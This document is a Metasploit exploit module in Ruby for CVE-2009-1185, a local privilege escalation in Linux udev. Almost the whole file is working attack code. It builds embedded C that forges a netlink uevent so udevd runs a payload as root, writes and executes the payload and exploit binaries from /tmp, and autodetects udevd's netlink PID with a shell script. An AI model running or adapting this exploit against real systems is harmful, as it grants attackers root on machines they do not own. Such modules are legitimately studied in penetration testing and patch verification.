## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Exploit::Local::Linux def initialize(info={}) super( update_info( info, { 'Name' => 'Linux udev Netlink Local Privilege Escalation', 'Description' => %q{ Versions of udev < 1.4.1 do not verify that netlink messages are coming from the kernel. This allows local users to gain privileges by sending netlink messages from userland. }, 'License' => MSF_LICENSE, 'Author' => [ 'kcope', # discovery 'Jon Oberheide', # 95-udev-late.rules technique 'egypt' # metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ [ 'CVE', '2009-1185' ], [ 'OSVDB', '53810' ], [ 'BID', '34536' ] ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ], #[ 'Command payload', { 'Arch' => ARCH_CMD } ], ], 'DefaultOptions' => { 'WfsDelay' => 2 }, 'DefaultTarget' => 0, 'DisclosureDate' => "Apr 16 2009", } )) register_options([ OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]), ], self.class) end def exploit if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0 netlink_pid = datastore["NetlinkPID"] else print_status("Attempting to autodetect netlink pid...") netlink_pid = autodetect_netlink_pid end if not netlink_pid print_error "Couldn't autodetect netlink PID, try specifying it manually." print_error "Look in /proc/net/netlink for a PID near that of the udevd process" return else print_good "Found netlink pid: #{netlink_pid}" end sc = Metasm::ELF.new(@cpu) sc.parse %Q| #define DEBUGGING #define NULL ((void*)0) #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx .entrypoint #endif call main push eax call exit | payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}" evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}" main = %Q^ /* ** All of these includes are now factorized. **/ /* #include #include #include #include #include #include #include #include */ #define NETLINK_KOBJECT_UEVENT 15 #define PF_NETLINK 16 #define SOCK_DGRAM 2 #define AF_NETLINK PF_NETLINK typedef unsigned short __kernel_sa_family_t; typedef unsigned int __socklen_t; typedef int __ssize_t; typedef unsigned int __u32; extern int close(int __fd); typedef unsigned short sa_family_t; typedef unsigned long size_t; extern int socket(int __domain, int __type, int __protocol); extern int sprintf(char *__s, const char *__format, ...); const struct iovec { void *iov_base; size_t iov_len; }; extern void *memset(void *__s, int __c, size_t __n); const struct sockaddr { sa_family_t sa_family; char sa_data[14]; }; struct sockaddr_nl { __kernel_sa_family_t nl_family; unsigned short nl_pad; __u32 nl_pid; __u32 nl_groups; }; typedef __socklen_t socklen_t; typedef __ssize_t ssize_t; extern int bind(int __fd, const struct sockaddr *__addr, socklen_t __len); const struct msghdr { void *msg_name; socklen_t msg_namelen; const struct iovec *msg_iov; size_t msg_iovlen; void *msg_control; size_t msg_controllen; int msg_flags; }; extern ssize_t sendmsg(int __fd, const struct msghdr *__message, int __flags); /* end factorize */ #define NULL 0 int main() { int sock; struct iovec iov; struct sockaddr_nl sa; struct msghdr msg; char *mp; char message[4096]; memset(sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_pid = #{netlink_pid}; sa.nl_groups = 0; memset(&msg, 0x00, sizeof(struct msghdr)); msg.msg_name = (void *)&sa; msg.msg_namelen = sizeof(sa); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = NULL; msg.msg_controllen = 0; msg.msg_flags = 0; sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &sa, sizeof(sa)); mp = message; mp += sprintf(mp, "remove@/d") + 1; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1; mp += sprintf(mp, "TIMEOUT=10") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1; iov.iov_base = (void*)message; iov.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock); return 0; } ^ cparser.parse(main, "main.c") # This will give you all the structs and #defines (from all included # headers) that are actually used by our C code so we can avoid # needing them at runtime. #puts cparser.factorize asm = cpu.new_ccompiler(cparser, sc).compile sc.parse asm sc.assemble begin elf = sc.encode_string rescue print_error "Metasm Encoding failed: #{$!}" elog "Metasm Encoding failed: #{$!.class} : #{$!}" elog "Call stack:\n#{$!.backtrace.join("\n")}" return end pl = payload.encoded_exe print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}" write_file(payload_path, pl) print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}" write_file(evil_path, elf) print_status "chmod'ing and running it..." cmd_exec("chmod 755 #{evil_path} #{payload_path}") cmd_exec("#{evil_path}") rm_f(evil_path, payload_path) end def autodetect_netlink_pid netlink_pid = nil case session.type when "meterpreter" print_status("Meterpreter session, using get_processes to find netlink pid") process_list = session.sys.process.get_processes udev_proc = process_list.find {|p| p["name"] =~ /udevd/ } udev_pid = udev_proc["pid"] print_status "udev pid: #{udev_pid}" netlink = read_file("/proc/net/netlink") netlink.each_line do |line| pid = line.split(/\s+/)[2].to_i if pid == udev_pid - 1 netlink_pid = pid break end end else print_status("Shell session, trying sh script to find netlink pid") netlink_pid = cmd_exec( %q^ for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do [ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ; done; done ^) netlink_pid = nil if netlink_pid.empty? end netlink_pid end end